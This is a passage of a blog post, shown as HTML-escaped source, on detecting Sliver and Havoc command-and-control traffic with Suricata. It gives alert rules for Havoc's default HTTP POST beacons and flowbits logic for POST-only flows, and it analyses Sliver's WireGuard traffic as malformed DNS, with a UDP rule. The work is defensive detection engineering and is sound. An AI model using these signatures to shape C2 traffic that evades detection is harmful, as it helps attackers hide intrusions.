&lt;span class=&quot;n&quot;&gt;classtype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;trojan&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;activity&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000400&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rev&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;You may notice that we only used five random words (ICTERICAL, STARFISH, GUESTING, OVERORGANIZE, and CONFERMENTS) that were observed previously and converted to hex.
To gain more confidence, you could implement a LUA script to check for the complete dictionary mentioned above.
In my case, the detection rule was triggered within just a few interactions with the beacons.&lt;/p&gt;

&lt;h2 id=&quot;http-havoc&quot;&gt;HTTP (Havoc)&lt;/h2&gt;
&lt;p&gt;Havoc’s HTTP C2 traffic, in its default configuration, is far less sophisticated compared to Sliver.
Take a look for yourself:&lt;/p&gt;
&lt;figure id=&quot;traffic_http_4&quot; class=&quot;figure-posts&quot; style=&quot;width: 75%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/12/traffic/http_havoc.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/12/traffic/http_havoc.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/12/traffic/http_havoc.png&quot; alt=&quot;C2 via HTTP - Havoc&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/12/traffic/http_havoc.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/12/traffic/http_havoc.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/12/traffic/http_havoc.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;C2 via HTTP - Havoc&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;
&lt;p&gt;Notable characteristics:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Only HTTP POST&lt;/li&gt;
  &lt;li&gt;Request URI: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Content-Type: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*/*&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As mentioned, these are default values in Havoc, but you may use them to catch low-hanging fruit:&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;alert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;C2-Havoc: Suspicious HTTP Default Parameters&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;POST&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;urilen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;content_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*/*&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;threshold&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;both&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;track&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;by_src&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;seconds&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000404&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rev&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;HTTP POST (only) traffic may occur when using an API, but it’s not something you would typically expect from normal user browsing activity.
To catch HTTP POST-only connections, we need to use the flowbits function in Suricata.
Matching for HTTP POST without considering the flow’s context will, of course, result in false positives.
Here’s how you can structure it:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;(1) Set a flag if there is an established flow containing an HTTP POST request.&lt;/li&gt;
  &lt;li&gt;(2) Set a flag if there is an established flow containing an HTTP GET request, and unset the first flag.&lt;/li&gt;
  &lt;li&gt;(3) Check if flag (1) is set and flag (2) is not set, and apply a threshold to reduce sensitivity to false positives.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;1.&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;alert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;HTTP POST flow detected&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;flow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;established&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;POST&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;flowbits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http_post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flowbits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;noalert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;sid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000401&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rev&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;)&lt;/span&gt;


&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;2.&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;alert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;HTTP GET request in flow detected&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;flow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;established&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;flowbits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;non_http_post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flowbits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http_post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flowbits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;noalert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;sid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000402&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rev&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;)&lt;/span&gt;


&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;3.&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;alert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;any &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Flow with only HTTP POST requests&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;flow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;established&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;flowbits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http_post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flowbits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;isnotset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;non_http_post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;threshold&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;both&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;track&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;by_src&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;seconds&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;sid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000403&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rev&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Summarizing, this combination of flowbits triggers, if 10 POST requests have been seen within 60 seconds without any GET requests in the same connection.&lt;/p&gt;

&lt;h2 id=&quot;https--mtls&quot;&gt;HTTPS / mTLS&lt;/h2&gt;
&lt;p&gt;HTTPS and TLS are (sadly) pretty boring to inspect.
One can observe the TCP tunnel; after that, the TLS tunnel is established (Client Hello, Server Hello, and so on), and then TLS-encrypted data.
Sliver uses TLS 1.3, so you can’t even inspect the provided certificate to find suspicious names or parameters.&lt;/p&gt;

&lt;p&gt;Theoretically, HTTPS should have been intercepted and analyzed, but this would blow my timeframe.
I guess we will take a closer look at this specifically in the future.&lt;/p&gt;

&lt;p&gt;With mTLS, there is no interception on the network level because both the client and server are validating their certificates.
This could be another way of disrupting the attacker, because the connection would fail if you try to inspect the traffic, and the connection between the beacon and C2 server isn’t working.
There are other possibilities if you’re controlling the client and/or C2 server, but at this point, I haven’t evaluated them, so I won’t describe them in more detail.&lt;/p&gt;

&lt;p&gt;So, to (possibly) detect this kind of C2 traffic without interception, there are only a few options:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Anomaly detection (with Suricata and third-party tools)&lt;/li&gt;
  &lt;li&gt;Generic domain (DNS) or IP reputation checks&lt;/li&gt;
  &lt;li&gt;Cyber Threat Intelligence (CTI)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;wireguard-vpn&quot;&gt;WireGuard VPN&lt;/h2&gt;
&lt;p&gt;Sliver’s WireGuard (VPN) implementation was very strange.
At first, we suspected HTTPS or mTLS-like traffic but were surprised.
Wireshark detected this traffic as DNS, with malformed queries:&lt;/p&gt;
&lt;figure id=&quot;traffic_wg&quot; class=&quot;figure-posts&quot; style=&quot;width: 75%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/12/traffic/wg.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/12/traffic/wg.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/12/traffic/wg.png&quot; alt=&quot;C2 via WireGuard&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/12/traffic/wg.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/12/traffic/wg.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/12/traffic/wg.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;C2 via WireGuard&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Either this is a UDP tunnel embedding the WireGuard tunnel, or it’s a point-to-point DNS tunnel.
Wireshark detects it as (malformed) DNS, but specific DNS fields are (more or less) meaningfully set.
But that could also just be pure coincidence.&lt;/p&gt;

&lt;p&gt;I don’t know where to start, but the sniffed packets had nothing to do with DNS, and any security appliance should sound the alarm (very loudly).&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Direction (beacon -&amp;gt; C2 || C2 -&amp;gt; beacon) doesn’t have any impact, it’s always a query.&lt;br /&gt;
There should be no DNS querys to specific hosts on the internet, neither should they sent “queries” back into the infrastructure.
Preferably, it should be only your own DNS server as target for DNS queries or well known public DNS servers.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Query ID&lt;/code&gt; isn’t unique.&lt;br /&gt;
I observed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0100&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0200&lt;/code&gt;, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0400&lt;/code&gt;.
DNS query IDs are more or less unique (of course, they will reappear or be reused, but not within seconds), and ideally, there is only one query and one response for the same ID.&lt;/li&gt;
  &lt;li&gt;High numbers for “Question Count” (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QDCOUNT&lt;/code&gt;) and “Answer Count” (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ANCOUNT&lt;/code&gt;).&lt;br /&gt;
These counters represent the number of requested hostnames or IP addresses and their corresponding answers.
Normally (depending on the DNS implementation), you’d expect either “one” or a very small number when multiple queries are combined.
As seen in &lt;a href=&quot;#traffic_wg&quot;&gt;C2 via WireGuard&lt;/a&gt;, the numbers are ridiculously high (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;15332&lt;/code&gt;), which I doubt you’d see in legitimate DNS queries.
The same applies to “Answer Count.”
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ANCOUNT&lt;/code&gt; does not have to match &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QDCOUNT&lt;/code&gt;; depending on whether NXDOMAIN is returned or multiple entries exist for the same hostname (as with MX records), discrepancies are common.
However, the number here is unbelievably high too (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1928&lt;/code&gt;).&lt;/li&gt;
  &lt;li&gt;Empty Query Name (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QNAME&lt;/code&gt;).&lt;br /&gt;
As you may notice, the query name states &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;Root&amp;gt;&lt;/code&gt;, which I believe is a misinterpretation of the set bit.
Actually, it’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;00&lt;/code&gt;, which you would not see in normal DNS queries, as there should always be a name set.
Furthermore, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QNAME&lt;/code&gt; field’s first bit represents the length of the actual name.&lt;/li&gt;
  &lt;li&gt;Empty Query Type (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QTYPE&lt;/code&gt;).&lt;br /&gt;
There is no empty &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QTYPE&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; is simply not in use.
You would expect &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt; for an A record, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;12&lt;/code&gt; for a PTR, and so on.&lt;/li&gt;
  &lt;li&gt;Non-&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IN&lt;/code&gt; Query Class.&lt;br /&gt;
Much like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QTYPE&lt;/code&gt;, there are a few reserved values, but anything other than &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IN&lt;/code&gt; for the DNS Query Class is suspicious.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Finally, we have a bunch of suspicious values to filter for.&lt;br /&gt;
Sounds good, right?&lt;br /&gt;
Spoiler: No.&lt;br /&gt;
As we mentioned, Wireshark flags these DNS queries as malformed, so will Suricata even detect them as DNS?
Rules to match this specific traffic must be written as UDP rules, which makes it a bit complicated.
If the traffic is not recognized as DNS, you can’t use the protocol-specific keywords.
Instead, you must count the bytes within the packet to look for specific values.
This doesn’t sound too bad, but keep in mind that some fields have variable lengths, making it nearly impossible to write rules based on many of the distinctive characteristics we found for Sliver’s WireGuard.&lt;/p&gt;

&lt;p&gt;However, some earlier fields in the UDP payload are not variable and are always set properly.
For example, a rule might look like this:&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;alert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;udp&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;53&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Sliver: Possible DNS Tunnel detected, re-use of suspicious dns.id 0400&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;|04 00|&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;depth&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;threshold&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;both&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;track&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;by_src&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;seconds&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

